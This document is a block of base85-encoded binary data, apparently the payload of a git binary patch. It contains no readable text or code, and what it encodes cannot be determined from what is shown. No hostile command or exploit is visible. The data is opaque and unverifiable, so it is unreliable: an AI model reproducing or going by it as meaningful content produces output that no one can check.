zb>T1lF|oh8WYZ2ThZ`n@GRj>J4&jXMn8Q~k_8Wf%5(TT8zeJeHbpJ=F&FnKwz~_Vy
z{ju;1eIg@>DT;qq{E_a74~%=l$M7~QMoc$@jt@}w&DIljzz0#JN1C_I%+-l^))vbX
z4v*<fOb_)7ac6oj;yk$1M|<zpt(*4uM$EHxlUhj!^z$8TF5r91bfm7IV_@3UDIDuy
zx(WpSG=dJ_zAVM-GHcwRX%550<BUYO0?_Ujq>Ry`M5K^tvElO=G@|p|4tlgE=^DA(
zc=xE*R54b`teM`{2MzrB#zmujeq=CQvBkr(dbP8NP{N}d!f;5r^k%|XXR4UZ939iB
z-GFenT9Gpx%cvh<+4x;t^ty6wpuxHD!o+RJD@JI1BV(AWT1eqq<f`DojCgnu$eB-8
zvI+$c@eC`4+Z<;-=NJa-jLt~C<@zY7j$&<u;L0FR3|H<#XJG0W_5$1j!Pt)&^7IR}
zeR9pmf+d`xK_3jMr1Qhjs0(!^>}8daPyjARsHilYJ0`DXGi}e~Fgpp{*JC*BwRj~A
z<6tAe(+ytE*|jhvt7n`+(W3dGv?Kvtr9|0Z2csQV$_Bk9{pwY!>B$-3@pHY=r=rI5
zMf$Zw@L}s03C60?WQip}N;egzw6D3J&ivW1XnPa+GiE_6S58Wpx^z$jYoqxpN-zt~
zRE+kyNgHOHs^O_lRFMa>#BU3s-xdPkE_Gt~S`N~+j5BDs-rr5l4m5()u~|y77M#tx
za=gnelY&)>lugZ2A$jbRfMg0Og(e4K_>>QOVL5YqZaxE2)TP`oa4{JqJ6TK5_{H^y
zR^xRNf;U>MTG8iGzDr`~L7+iyiD?91i=0kuZt4{ZqLiX_(u`I@Z=2O8O_rI*v^7{l
zkOXhi>zna|di=ta9WjxRAG#%KAQI-k`R+ziKOSnq5P``_?vl~uHFrfxH-;qP=WB%B
z+Qn;m^DFjCGX=4@;<c7JORzdIp0a*HIa-HYuzIZiZ5O}_6WZtra7P!P<R{qo;hzMI
z-<Gjtff4lWfdqU!8eM97#(*fW9P>Io3qiWu>flkZ?fsne>j66r28fyF-w^mGy=63H
z^rMGFBM(ew?_VO!-5){|37fid`yH(_=Ef~zDC)5Y!=Tmyd_#8|HO$Q>FHWI<59X1!
zhLz&{E&^99qM!RP!!~!;$t@@VIl=W;;{uP!iS0a;zm|id9O_L>h9xH?HCi?m!B9^S
zpzn+w@6yut2!vmD0d0_EjTkd+N`hFCm4?`yV1ZX}o1o=5?H^B{5^=Q_Ght+Kj%6M~
z9DixNRZ4lP2~=?6mri=Ap@k)voDU^`a0B<0d^AngEwmZ0*X)urdQpLLYDHW|3hnK$
z!BsC}7dT7h=_{YBSTJMk7+95(f00BfNZZ2ibS?u|N#UoZRWUqOTgN_zNdH}8V!KM*
zr&u4&ypP|&5Lcsy)PQX`SzZH1UGC0$MagouN+npaaERWKm|~0^QJg+yrbNtp4ebcJ
zijb&h*vehTs+|FrWD_ak@<_1jLy2Pu<tx5R;e>*aV^KYE8?`5Zb)dPx%W976cGHQ{
zZ+iA^#|{d69!R?#k^voodldN5|LmB-K*RSFZq6)S4D1B;o>xc+(+m9yFVClLi#Pmt
zOwptd_7z#&%}34YdxEQISj>me3$)jw4r>ss*h0()Ao-hego0v~AV&Ubzsf87f`vj{
z1uApBhEI+KCBPl{M$FN-TMvW@Mvb4kctjUJnm+isI?W&wTLAV5?x7t}9_IVaK>CjA
z1n@n>GA%9`KJnS#WMl8h?bD*#_vxfL#NF4#ZyRA0Wc*xw?Il4+&~rQZF`ZU*?MY9j
zyzP^*OJ-%|yD~53N@NLfrs2NXGak%gQUJh3^bD#yQc{C_0v8b8DM5Wd;m&`0A$#Gm
z&m1;TY83T*q+mJ<VtBCN>GpL&GnDKiJd8l4j{yJ#Y&T+~Ptqmk5h{2~G7SYYm*SN!
z_e>^vp_G*aL;^=ItV@!eVf%!jaFh#Aq$C5ImMx64$3hWYRwOvJ4|RtPbY}+6A~X+^
zo<nqxj8-Q)NN~o@0QS)Ck(G+SP8IG$Vv`elLeU^yh3OZEH;S+_lAUoaMq=_SD?0^7
zVZ1-Fca(e1$%{Afd4Qluvccd;NCh>s|9s8?*On1pLcZO0^T5=0nKANJgLcva1F;I?
z;4umZGBi99=ZnqpvZ^gx;|t&umZKwQRpqv>!YoWcJqQwTBW6cF&|N&C6tWF)LVXUv
z-(t#AeB!mHbVk|^9YcNU7U~jAbcv_2q)cTHOUaQLHA&<+!zEkmWCEp<B6s%-Iw-K9
zjsZMoWI0|)p4|U-|4T5@Bfglwvj!dXi66il9Cv4jspmP(SJd#jf@S;Lb}>~OqOUgm
zir~H{wnAp~r#*)KwtVmKXv|`k`wuQ*l(GitUhE(cA3%RM=p(#uhB?0Y*@YHrmekxy
z!P7};Px}VfmiJEMnCUa&A_6C1rMEQmYB-`71?!LlVN4r1#*!|`+y(0?0M2nHRCU&u
z7)7;Pxu#W$AA02HeF;hnhj_WC{N?6f_DV^Y2=KZbe2nRoMQQ3@$&Qz#oiA*Y9Q;kN
ztB!JeA9u7WxD5~Xgtdgn{_CSC{ANYlS626Dd`a6U!)*%be5NPtnVjL}$8Ie!y<T}i
z?fi@<8O<h;8540nKTFkxrn=|JN(pmH5be_~MmfABBavR7``ie~te5p+_pYeL29y>*
z0cvecZ~EvIx8!Kwu+g79RcPOEUaCR#K{e7G!rJhf08<g&39K8&H{ZBlx(*lw)Tkjj
zRYu+9PxM1iQjgWlFX%OwK_tYsz(()@YVhLMZAf6SHLZJNnt-p0xhjztc`OL+qa&el
z=rC>ssovwHhZrIvx#TZ7X>;vpi{cVeio4|+)`{ysg<tB5G+hA9`E9$b<!LU=4%BaZ
z3ahy&Le{G$mJdp~Ewh@%bR><-Z`megvaBf<Y586$iI!@g?=iLJYj)DS6NW;bS?~@u
zJxc@Q-%BRJvND5Bt%~W*>>oG>ej>vRP6Dns=4HBaM<EHPWulj`-5|bC><&QK2>`n~
zwF$~&kD|E5^NKkn-lL^#1mOp_){mje`_-2xdo#QlulkLZ^QULrGJ4zjAHx8=GjdI3
z%*1>G#(bc8K4I<t(#(Ce2L9<_cXqWJ9I|Kqp=Es|>TVE;=`5pyxhKcuIzoSgogXJ!
zM<J?M$x*TV!0^7FUyc_EUrWh9%hlT^#GT0s{wl!{J+CYv80KyS+a^(t>_xml{lOB+
zX<OS-nmopbZq8&09tB&jPdcfOMs37erN<qWpTr_eiSk(KE|5{|UR;2Hd5f(UYdhb2
zuj{-?Z+3ul?Et61g9!C)$E_=HUkR8F2|mXh!`w}*Y@zC`gnl_Kg&L~NZx7*0$2XJ_
zb;pVeO%5WafLtpSUqPtB4M=+usVrNvG;Dm1%e_HbhcS^iE$Vom0zZe9wrr?d&fYCZ
zr|I}PzZ72_5lAMd9C%E$bUB9QlTwKUB5Xw)-z^DcSqoMjbVo^}cQOk*b`T{tdNnbQ
zv|MeNhb?)WZw@(@F{ygr+!02$M1-b9rCRJeG53QjG`EaMC;3ThB1w*#6hmVczMu^J
z<PT;DnMwbM(Cy$>8K1m)DJ_&Z10jJzUg5$mk~#JzkiGKc*hc{CFIis_0>3^BVcXT7
zk+j{^v(u6!5+PAgwqZH7u@V@-6c&<=)=L4GygTrH5-iA#rfYDA2Z49G#!9&*Sha$B
zB$zjTUTJDaocvJ>fuF@m`em%@3-&Wn=<i~P0RpBB0pguSL~U@%qFNyON(m{JrLm^?
zubJZB*&weKMZ{cS5*#V%&lIaecV#JPbCVsRJcD9fZsZ%|5BI`dpm8q5ULmTpw5@TQ
z+a&HO87sY(Es0CF#vRe7*X}w4QCibjH_c%`Z<-_&7X>%3`o4z|pWSm>D4zIfI^vgc
zAE&ME?NWyV<^)%}x_!UB<m3}1s1cEB0m;t8HMz$kN~S3?PKo=Vp`JbY2@o#U61A20
z;^1o+ZE~}=?}0VW;CTJp*`{_%!bn*NKB^6FR$fDuwf>2Kos@3u;LLaM0WB2TH^@_i
zXHp}X0=)d3vS{}MQPM|J>Yy{#{#lYL;MW{90{};J06ESzD}T#14aJd7`Z%W<;FXj^
z7L;{>Rw$L6R!PL+tWO4&aQ=(vph5(#kDTXoLe!H8B|EhO8T24~Q2dytD;nPbS<K$H
zG~pyE@(LL;K{5p7;tyLgxOdZ+2&Z*RIUtDZxcl{Wsg%on>J$DZB@j%;AUo$ol7LwD
zb6kdV2HjR-bNKQaAO%qo4P7XG#4YgZ%b?ILNkdm&F*iK_`PZ^Y+h8zWzKZ97#xOVq
z&Mg7%x1GjDB7+2sy1q;F)%4`-6S1r*c|Eb{4-$bk@psgSl^|l5yg)Rrs|I@^RdJ1I
zv(xRW>tVbC`L{489<)_(WDR+RXs3L-+UYkxj=LH$0_+sFdG5D~>FtT>-HEl&8^%el
zdt0JembBoal6e%tIdh&&<}7ch=jgB}MwN1>B%?dUqImh6nnHy#;i@#XoZKK-g@y47
zg&ygPl68}XG7%i|U^*Nzq6kc<upUw0n{Q0%c!lFLGDjh0;k>epGgJJWF?e+#)q81F
zmeuvGb|{?zo>a<<so#BmJ~4!69?5BUN++nE-dAVu&v3GYOhLs-p~lq!F{7=5ki<od
zOA$(<#2JT=)UTE!HI9gb;pE<;M2vNCl$@e)@|S?ZACOgpe>Rm%m;9#B{A4@!0{Zd(
zqb0VaG+iDzKP#jemRxo&>G-;4x?%zWeC3`7;Pxju2O54t0yLxBLhhlO<WyZh!?z4D
zo*jM}hC5(5fS%oNi2TX4-O0us`pPv+$}jR-Y%vna&ZHd&^5SFZMBA!6pSTzZBxUK&
z$)g1n4_q=43+@qyr)k)VnI64q60c{zgg4@JUzcik$jBc|cCQp%y-Op*x?lxefJLs!
zsCVjtV@KxPK1kv-tY(bedW@D7lTB$(S(BA#vA=l0f{_W0ldeq|jHpi9j<BQnnV}|k
z;_J%zf*xvBpUuOJ8NF0sIVpWs``$*0Hz*_}9<@w5T2^uG*1i#wzfvG3?Ow$Nbi?Vs
ze-rw^6X^CyG?{Op3XF>@AVSM{9Fx^L*E4}MY;!<J)wT~LIg+KhcuY|TQG#{<*0>)m
zTr84Y{A7Xqh9vg8B(a}%)~Ip*$vDGwiU}mcM!P3}SSQF|WFDD;WLje1yJu94Zc5TB
z$rtWo7TuzVl=;+IY_j4hWjuJWn-{RH$2R3`j^4hZsj-gXvlvjLdGwJWLh_2l)|met
z;J~JS9ir_y!bra8L@hTs+ut%!?SX@Dd{Q!=G3ohrp&oEd(oI%*@TLNsyj!T&J4)hN
zRjyDspmD2j%v<z~t~pG%<m?%)*#$%Nq1na!=YE{zl09xrz2_*C{d?BX30FE)^A5SE
z+>#4AK8$Qu*8_``)}H4t!m*rO8v46f?H=189K&I7`R9>(Ff-yYIpJIK`yxfZ#me}a
z=4ZxXlQD`2oZ&J++IOYp^BNjvQZRETV(bx$!Q`XCwQ2!jJL=Bi-BANfm_U3%cs2<`
ziUn*Y>G?8^yE!ZB6jV#lsyUHa&??{R1rf!JWLbV|=!+h$8Wl52X)J$7z!;EUt#s=|
z!_F%tKO=?-FeG)Z+9dVOp0Q_I&7dnIhbe7G$R?;futJ1&p3Rd7>#EES%4v6aDSzA$
zF@K5oDDH_{*i>K_GE1*(fw(k4UYb(7wpCB5KTstp^GXJxt8dAII8~n-ECDn<CeVBz
zoHBHpGB9PtcF6KLR_JU~lhr)sfia&fTp3x^C`G5~=(SiXYw3(?-qRjhlotUhmj+Ob
z7_Cb3tt(QhOqwOKMwFf<QEWXdKrzFj>w<kRtdA<G(#p42kt_F1Y&nr3x-~{UW08w~
z<*NO`U*VWtcxQytogcVx<&JYyw~)qDG&I<q119(oi6J55fz$t7L;3M4XOaHajdtRD
z{kfRXm<KbuC1QuY=`&A25q!19#J9wfQz&h%yb$n9<><VmnAFUn=-bH&fOT1byY8?|
zM<aW<HZ{X8kGSSqIq1m?#}QIv)v~#C+gG0eZ&bBIR^f#;$VI@fA8pI*e7zhgOj(1~
zhE8oO^RnOe?3ay5H}skS!)JBcFw8ck@RX`B^i}ZziL5a_XHgO>k`(<^_>q`-2jrw3
z8ZkA>CVkOO6xyAMoh%wkH7klzSyCP?RA*mjHX|RuuX+*}%RI%JU#}=W+4JQHGD}F&
z0LLr*+MD*1K7-GlSh1<K!_>`F2+?%ouy9oPGB{(<>H~aqASOzd#M`F$<qNy5Yjq)g
zNPVak<s_>_b=j<SguyYrUUOIJkXYeh%@|lJ6v_sJfLn`AD;pA~OvbM>+E7(mH}~St
z%(3-zChaQYSjc8`;fEmwRhgxlH9LDFig}(Hlf<lMqBj<qm}1elVEM9ZE~Qcl`P_RN
zCzq#kv*9cz)Lm{$Jfiz%f177m&@*V5=S3zy&V5YhIq_9<A8x4r`4p1w?1zzRoQUz@
z$}l}?bqnd0jl?rroI>{Z{hO40Df<a0RF3iJ)ZYw2GCkngdG)9bQM)x$Mdi+>b>kft
z)8x*|xFws(-V}pM^pB~WgJJ2Etp~YC-uLo8Y2~U+Mzf?R$eCp;m-Xk}NdAOXX}68c
zOgfsf#H*mo?;_<htED1qQcbI<7IV$B?iZk|r66W0sD(UL36GW=j(kw_RT^+OUy~uZ
zi;|>Gz*%$7vl!GOTZ_B*goi%G7saZL+!8z$dc$xE2-6|%t;f(&M;to2JjOZ|>$Qpp
zHR7yq6zjEQx-i^>P)P|ovN`+0kHSV+2hqGC$gkMiQ>`O#%mWXY_7$!w<GX12_IID0
zD3^>OI1JEm-*tht9wTq*km7lGwE3xNYes9Vs1K}u+OQ4dm8kJ!*QYAGW7BMf+j|Li
zp_sjvinWth4dB`)uxF=S10~%=|1_L+RfZ<9C3S<C^4{#ooA^B@3u^U^o-rYl;@Q7t
ztwT-fv!|A@>eqxko%q94c_Jcr^^s+5e;bGwNzO4<e2#k~u1<Ex>9$L)P**a~JJSV$
zd;CzZW-_<<lz-JX$2|)hA)XB_FN^AV`X%M#c+2wDQvp@$toCJYJ`bozm>KDi+}g__
zZ%j+rPE{EFu9I9z26MJ!)3P$X&mZnN0~~&*Ay`gX>1WO(%&K{>;0t`C533xqb)xtk
zy8P&*w0LYXtWch^j1#-~k$Z10ucOLGmEMS>p9zgsr{b$rqXQ;%Z}Jb+vgnNgBov@-
zX3TTp)FU-DUz=;o7F>``77cLKPG}o<7=uIiNNq`ezGHzJtWNj~;J^S^++w;7L2gIj
zD>y}L(sLkABzR#wZsGPFY{fR-Z|QCRm;QFJgh9#KV6~@i#5F)FLH7Wx*B*&aG1nFo
z47IH(ShMqXk1RF<)B5e24yKIG;mlU~nRiSe?o*bIIu##_d`0qVGDG8QOfR<k9J0py
z;+nqQPK)&tjHEId-!+QAtBSmt$sZ_Fj>KtVMM=1Vd5vZjXqQbcn0$wPYY&6>fwI)y
z{@k|x{Bu0`?^oylyi^DI(d=FR)xmQ2^`ZK&oh*t@c6L_g#`b@;u>6lFF0L~ujWei?
z2<YMcFGLYg1Q_X@%7J>J_soF~N3YMq%3u44mLi~2+Y|R41MzeDU)H!PFq5(Hxv9a@
zp(w=~oK~x?{&$iQ@roM^4!$pL0g_OV_6&*<_k0u>7{6{K<{prs5EB>`9vp7x=NbJt
z{2IlRz0Ji<qIsm4zXt%cjao%QM?y<M<M)gJ-2;Auik*hsr>Cz4qz@dN>H#cf|Fhfc
z@Bj3l7*OHO9jScvMQgwT00{jj4F1spO(bk>=lIX2=s#P&{=%k8b<F`u8T~VhXp+Rd
z2V8(UH(y0eQ-ZGtvWmJ1?aPsxNl5~QYXduhI%C7wrN43NX*Ytl>uDF-$B&jLbV@A=
zgSO^FK6-0qqc~$yBp^K`)1m85+k5MQ$mi|(juwDsS05J4jy5EqrDVGRJN~xktJJy>
z#ay7$h62HpY)%KF4)I=B&80LWqeF*`u4S&SfmoZB+Ea0h_R}_HqqD?}9*1#>I+LCS
z`|L-Doub_+t=ytiJ+z%tQn6v+`q?swcdIbJaIdg}!r~(B;ZM+Bz5sp6V%;kjsh@Ul
z&cSL?q`b5kxjKLx_Eka&I+UQt5AHAr|Eg3c2ATdc2vM_PVF}XS$>5NOrB0{FI}FU4
z0;E4!WDfaiY}Ie&OlqTcO<K1bY;Hfbf8Y`9vO@36UTEC|H|S_HTWv!8*`k3)yivIT
z9;8KUleAhG(ndzqAwJ$n20FMS;{qN-JmA&Jl*Q2>XFwWrFK-S$yu&<Q_GN}byt6oY
z3S)B@oV$&1DJ9+F&}V<9lRAdXd`V>yEs6Q)>spu0G-p>HuuS|!zRF@oo=jZbRc`Aq
z{%w~(;Y?;AENPNDuMMf+C3Ms(1W!wzz%5Q=S0%PUDvQ&Jw}O13(HS|`sEb>A54dG`
zLTE0p<uKCv4yU|zR|I+v9aH}ZI>gX6x><E4dZD~AN+Re|Rz{`TaZDQJ;G%Xqet*Ft
zWqrIhuG%}vb31)!;+UgfuSMNNTAMWLS1Qj>3W7nM1ikaY{ZOg%FxR46g;QxHk?AKh
zt~E2y*3651=49>F(bar?9^`EDRmqZ0FA=C<pw=aoiaa+4M3333Sey%_@N<9%@zz<h
zHU@K@u*&6e=`0hxhjX>MB}~q%CUb*V?7U;`;PrH+2fg$%f^)`<XiJ9$7-6cZh|6Sb
zNy<Ukg7xy1M&-I(H>CQggUZI(Vf<+N%*~(9<96xE#;et()oKidfhOLXMMEV~{$Os)
z=mpQHDMwt`EpFJo@|X(pV7ICL9sVT!gC%Ko2Py>EW}K4yKQW3w);fwsp4yq{60;c&
zq0v4DGxK+TS)$DDheC0~>{iC|yeR6<Vow`hvFGw|E@Zf87H$E9@lR7CvIPTW7rhg>
zA0n|ynMzP)fpy&7HOh{h5{&)GPc$=be2h9LyjeD6=if4qVT(pP=DcFu7Ve<(Vc$mS
zzy!~M2t+zx3*C1VW0;M{KIONkQMqN#%uh(nEM(@lJcNipYZrURjHC6q74^#I)47x>
z5c}Ofhh%{rjxY%jDY8S<9agFt9pnIN2$<R6XLKrhFRZN&Gg=I!&I_eb9_Zi~{WTza
zFS6H-dmGf`sm~U(^xKR5>e=4UoBw6iW?mc;I{G8}{yR4AJIqN=E*+PD{0k=e^q|qm
z*hXwpZ*mg9{{!eoj7O_1w3anS$3BK<1EXu1*>!ncZ@UzGq*%0&V9B6FR}i^?_qwE{
zDN3LhLz_}BQ}x`tl;qFCj!wLBbNk8Z87c(x>jyPQ88io|oqWyf-ACAJ5FRZk#H8bq
z5oa;&{306uCa+GI&ccp%+uU`5Zn1%)<UAk9#S-lq(Mj<!`^;7p!p-BAbyHdW>I#>u
z2dm4w&;E63i$k$~pAe}=i|*sqYn1$rQ~h;M49(w`+>R5fS@A&_6g!=Db_C#x&Vir;
zk6`=x#r^#}SgD&8>jHWBq<t3vg9o|x2L-eAjYEPrmzIO=F~KW1ZPR)M50B9D+52Cj
ztnX)5XwO%1Zs+VBHP-&FZ}8r}aGeh{ozA(UWWu&OIJ5*Il#Mcl4X(Nrlt#xsKX5ch
z-a-E8RR23$|C7hHs*l>zzdCkFzKqrWBai>vN9eD{uzw3)*#Ga=YLd2C%E-gh50-CY
zy)r*~X{s`Y^6C<PB@CrC8eujeVKS46Lz#b%%8jUFWQ%?a9ZDd?MKlP2=X4H@k%NF3
zAXI?z^rd+Mu+ke(29X?Sb)hMdVJw90uZVccUZ3Fp+`3whyXxP%^Z^4<ZpjQ}o1n-g
zCIEJT)Kc13K+LDh=t)UINi~Jn)zR#Ba<aa`44|acE|ITuu6#+>Hh02`GAZd@I(06x
z{_U>PUtQS_YeVCd)qK#_+;D15tM2sktRrA!j(g2qqY7s2gt<LyZM=p~uZDrGdHLdA
zt76YatxB8o#o=iG7VYZui83H{^PFh|1a#+S4m4oIz-8X#`dp&Hu;!xKve{w0yvfeg
zwMcWg8I@&t>%e4S!{QO0i1Tp`F|gNik8*8MyJD_BcB3H6r@;11#Col|{jP|#Vl0`g
zsPXfd$Fr85<6JFzK_qsMho3E8d2Qp=W^*5Ig^khkx){!gZ)hgE4KL=_@>>u{bdJgP
z$6#U43L3iS{ZC`C;xzs1l`mtp)S9vF&F(R@RM+HQ)-Pi<J+P?W-(SXRJ%1RhxkFY0
z{b8&&u6Tm6{D!E5aPKbZEls-A-Y&DDV{v=6)ey1?I(4^CASM{xyN*DMno*C!TfL`x
zyoU&l>aVRFj1M@<-%`EkUL9cih-XU2v(0Vzt@x%KWq3^u+@1@$f~!yu{91*`Ij1-2
zhJNRa?s8&#%q}YVx33p5E_-y%8z`8ZA9(3Cwu<1UU@QtXZy?e&7f&yi*05>c+rT&Q
zG^7L%_>cIufq}B|{C<op@)bW-T6{tzWn7uvFtj?EKs(MTEc3T{2sUCt8(+d`Qz5Z^
z&Ct}HQKy_rOD}bdu`xLnP#HmepGEUDClQm4-b(Ol^*EFybrYj8T3hA)q|R@NDMcNX
z6MGBbD*ADrR8phg8Qv?UZ1vp}yDbU17gKCR91wT|*MRa)v%ZAI3HBifXc1hQ!<B`4
zj0j)#M2O|&fjUF@=(V7L#N4n)A`kMtm0W-q{9O`DA%&Fj%Yo!kh)`;Vu1P7L>Sw=s
z8phuck3K;#P_&?e7_O(xD%sQX%4z!Q{GR$!l;?{8)*zZ8^h5nJY?;zWK^kdIrM+bj
z<EE+O9hUp()<9i8`DXk0-G(t+@$C;sHK!V=-V}%~scU0@S|rc3?Qz6xRpLtIydM(J
zic#@O<dR7qu0(znr)5t*Qn+QQCu%g8q>ifKohJ{31WAEPhzjCj#D6^$!Pk(~hC?;Q
zJ>^*-DcCBUZVZEB3*X(tJ_kOWq?r?^TqnHoiFF+~5s60;F~|QBQ~3VxhlKc!^gap#
z$6-X-Us>^EM@6@SRw;eTzY~!}<yhu#wB}^r3<<jS9*BQr4LBh#iEEMm&x3aOUAe!q
zLS$|twiz%AJE(H>4ww~BV8u=pf!jWP>WL7|0c)h}Al>Fe+dLgKW-xz0of$ePOn<IE
zIumq2u>Q;+UlN4$R+v{R7*Hve`3*Bf@&0JxQw@;^1dDYCkavJH&<*ILg|D2h3#?)6
zYk%SVgA4!8c>m<Wi9kI){jZvq6Xw5+Q2v_>|84jC4<FgTYS}CmYgHssWN#BBH8IpE
z+HI&ti!(`}WHb440r|+%JRvd&H3?1acmnnHKWx<&ZQtkcW_7ni++}oSG%Y=3WM9jU
z?uYM5@9(FK)RUPJ;P4n2IUTMXuDrgwWuK3_w>|*uAYzb?``>lUo{0R|RFphdBa}Up
zdybw21_OYVxTFkt9qB8>@+$N5{VUW|<(1_X_2~+=F45asCvcW(tBT&JL0QIUQW~h2
z=BaJfSu;A$Dt5zsUb{XXIYFzm=CcTW*7sG?7_qa~W>_C8%QP3PXdD@OXSmJPf>{UQ
zB~6ntcG=qnAYYH5BepCTms%9(mZVnM*-TSL0khU~ZG9Lo7obyi#xgII8r%hGms}Sc
zE0hDyXFScnYaUfssJc1Fv1;cjGM&OCplP%l@f_O6<niLz*B-MM@)C5&dpYTUpa2>a
z^>n6dtIyzcPI2!B>(gzJEBU#Uj&-gzD=u-zs6uKkhs>urA9woEA!y&<-xm09#`-Cu
znny(UC%?|8Ex=E_t%A~e02jn*l^rh2Y9!*U=u@%b_hvhpR~j)wca9BD7VE3DeD6Qj
zv8=9f2-#5+r4RPHMCwFvrpvO~)Ah(v?AW}{rnwC+OL5E69O%hw_6O@D+CMLjEfk<Y
z1Quo#1VPAT*q?7-5(l5K&u|JajGFcb>O7y7)@x}*lM1G3W6>$B_Ado>UVND!Qt8y)
z2&fxX_+cQS#4)L)BwS!|qBBp>STwrZq&g{k5mc0nfcd8R-Co4WF+1E^wf16s+1kG1
zbioMn?w&k-gvppGd&<;)AWdKSDdm^jG1UpnQuFJ$97oQy<0ZYnm8cTvPl|hGmR6aA
zSh7{=k_lTZ|CK#!tbtPBLdj0CAmd+do2y@KxPisg<Hc|CfGssuzQv}gD<GF68Nyx2
ztp}Ldb>vyA$lM9*Gtvoj)ICht{Xbwt?UedKape(2Yf>N;1#$K$#Fj+@^c_{bU4)3F
zGH30uT$t8{b^5U(q4zw_ayYTAlHmG-Scf3xKvzwp_0K0Mf21+&HQ9__S8K4#15)cN
z7wdax?O3%<D%&olPIvNbY1$Gd4fUq=378-BzD=&AX`S@m@9y41I&H&pD>5aC2qqt^
z9jO)?4iA#MAG{vNZHdOXLW1RPv%&7dAN%Ef0ztl<h!zQ-Az#QB&9aH<s;6U2YWLIj
zc*o`oGC7Y=@^=UqEF$)-vGFtZi!&699gwG^5O8zdGA3GI1g>+7bCeME@kx$}!dJLl
z(-35#wnXwMAU;lD^=6YSGveq82LhfWKzN`Yy~%C;7QDdtfEcR@^}-8dK?-js4Q0VO
zM)Q0J%=<*!-O81%{1AG>*p<p16fi3wXavNg7UV@4+rgp;KG6d{@;a8s<M{aAmTwak
z<h$#qc_ogM=drn@tfq7)A*Kky)X=hh=Q)4GPEWY|1hVnFK+7joXKaXNDa`i_m_|at
ztD07#diYq@6v{obE6|?-(dkqMTn1trSu2@?XWba$H=r<l82uv`(9ao`p^6rfQTX%<
z25PefXEt6*g&U(Yy6XUapoH5@`Rjc68nDgq2CUu{rV9vL50q7zS&{H3WS;%wCsY&9
z>ETgdxmoX!HbOIRzicvM$~^Q&e9+T5o}o%SukM*oEQ@mtraI3so#3Om7Tn;T7eS{b
z5MnpgZMnVQ362}nJ_^1tT|xr<i8{DrDhzt$;xt~3Syk$3)b5g=>+1GmGZb0a*zRFQ
z(6gzm0{51HwZR^UYL$oPC~}@LQWKJlQ2b|zO(a6?A?g_{`icWl@MxOW0=>ibT0(J$
zUXCjHTXPht5nmF=e^B|~3HzT^-mR-{$@4XQ3HU|ln*Zr|;@?#M55Hg;TLohiV|!y8
z!+$%ui~MB{PV{wJ;ppV>ucG%arf*V|w4LXJ|5$Wmj#~?C%<CYR!~a3(Ne;&!6zJ~{
zY0ggsBaq25y7*&%d1TXf8|_+=&0i>Jz>jgauX`sn)yZExLF@t$HXGy0J0`2{_iGKU
zE}&IzJU>v%T&SUT&^Wo4bY7}J7y%mi)}f5#lix*ayXJ3<Wx?RV@*~jr_WHrBJhAoa
z_ov6pBM*4*={qnjiP;TQ{vPVy*qYzZlr|jeO%uWQ)=O>uvB}(99+PXZfRISOhdIW5
zM6A|J$u1a?yOjf4GG&ACHSXGolZ)1>=g?r*JFKEC&uvS2GHefmS9^mk=PQ5@^RZg6
z0ml<B$!Cz=r`P!KjqjD0&&i{@w=%M+(WdH-KuN4Ghk8QvId(a4fraLsC>uCeWy?ri
zcAN%O>U%gR&$f$jPjWG>)&w3ptOf}y^~6TjCgGHWbL;FPdKUht;&}pJ`kDTBEgNV!
z;@DYsliho|+__xOfDACU$1XyXDz&$>9391lj{ADYGj*kg5G%-I(CwebflR$8uo&SX
z8p7vl^6!jrAG0g9B1@$FOZZ{vG6X>&<@1iiOh&P)cexxjA_D3=_G}^^Ztfm3>>})z
zo}i3luQQQjJO+4zxAtNYiXAdHpyHcEahhs*NlgeaAejJt5-YW}3L=;?3R#P}JY$Ie
zhp~4Iu54Y~h0{sLwr$(CZ5uN-I_}u%*mlQuI<{@wc5<@zes{fVeRXPor)tbGs>b{^
z?&p4<x^7(;Z={@STAm{-CACG*)Aw`Xy+jyvc42St?--}d8Jt+p8#*_d8QAgE#<c@Q
zsSS`tXpED}`E`vofSY{IMl8C(Ya%sDa|`-tYL4ij&A;6E@6P&9H{O}+GFO5C0?Hu<
z0^<FDapV6WlK*R1mU`-hyofoFZ9JS*uZK-&BB~@sS5MODm-5{yqB}4JsL}>_$U%aD
z#L9!VDnEj_0w%X!Hb>S8a7-%;0$8~dTlp$Z7f5L_*>KquGrv!zzJX^R`%b0$oI1Z`
z)eVBL>nx+mjWO`OX01DI96p|9&3BqVt@`>tdIIq_mv75u+!?}VEmWfw^E_pMvCG{|
z0Psb#57+6hzUkj>VZx>{zi7fwSXlH*!cR0Bfp!*557Xa{PF^2TdoA3yd-$`{-yD!`
zcqOvy?~ZeBcxAG0ZjG~h+|p)kt@3n_@;n3JJA1i>u2JDTM@uEHRpBQ*?ftvC?Fsm5
zUj;rvU{*tFTTGf5ZAi$*FI3o4>zO2d&Qee0(x2OZv9!Ub2emUMF@<D)=n)&5JIOyX
zJ>8m3Fe&Am(b<_Y!^55#8f2SVoKBkEH2$g)k5cKj=6f9zACAIrcMK!6mOqd&_M%8<
zPy&z2_{C-;Wj}&r-VCr9NnvbN1}lxx!4@UzY)%}*a3wTn!YSpo9DL(V7?u+5@b1{R
zcA)01IAg-G)M%hFOk4{vRyOPDjCM4I4AL2eqc&dlhN+yWR0MPLb<IdngVDsi6(Hm_
zI}m%~3HFP{Vm+!+($8{UjaSRca-FHC&RV&cs06d)&D|gKA~a<_v*b|KUSmU&hr^x)
z&d`(8;{ATU<{j*bE~Nc2gwaUrO4acW7ksON7OMC`fgY&Hm+0e$!NbXHisjLYj?HyS
zo|ZYH9!bvI#$$Y&En#K0R8L;Fd*U(8G{bZN*|6~FoJ8~RAxVtRo=ugK`aO(JL`*(G
zrZCy6vf$1!5o+KZ$Ml?6%W<Ry0IdwKQe0rlJI))wsmeOTj8on{O&~UVH{ggy%Em@t
z6TE+ER*hadSN*^XGpWmd9t>b(Y;O%@fxW$FXuq$yVU=l5-42jXX*Pt{#`x$w<6$|o
zr0(Un1yYB7T^qQn!k#hjooHgdo44=Gp)rL-3)o)&B{7Vp7GVzE64<i1Bf37`;70D|
z!0OWwTT@Zb8Jk*jgBG=tIc#FnTXYWPo#uG}MzN$;_L`HLK6EexmI&v-9N%PZ6`ap9
zdF2i3fKiH)ILeb6ecr4-xZW&2X!V5GI}vQDiCeY%%H`w7?)--Ec)SGj^2bI~2ei!i
zw8u>SOx(zY{6SeUb(h)YEp#&&ygHftsU}(%=fmYKkez>jTy&#-I6eFN;IQ2zg1u{N
zoZiDJjJ<1TyvhZ}k1atPy+w2$v6m}2I_;H`N{(8cq<7%CQleDgk(HuWWBH<a2}Zj(
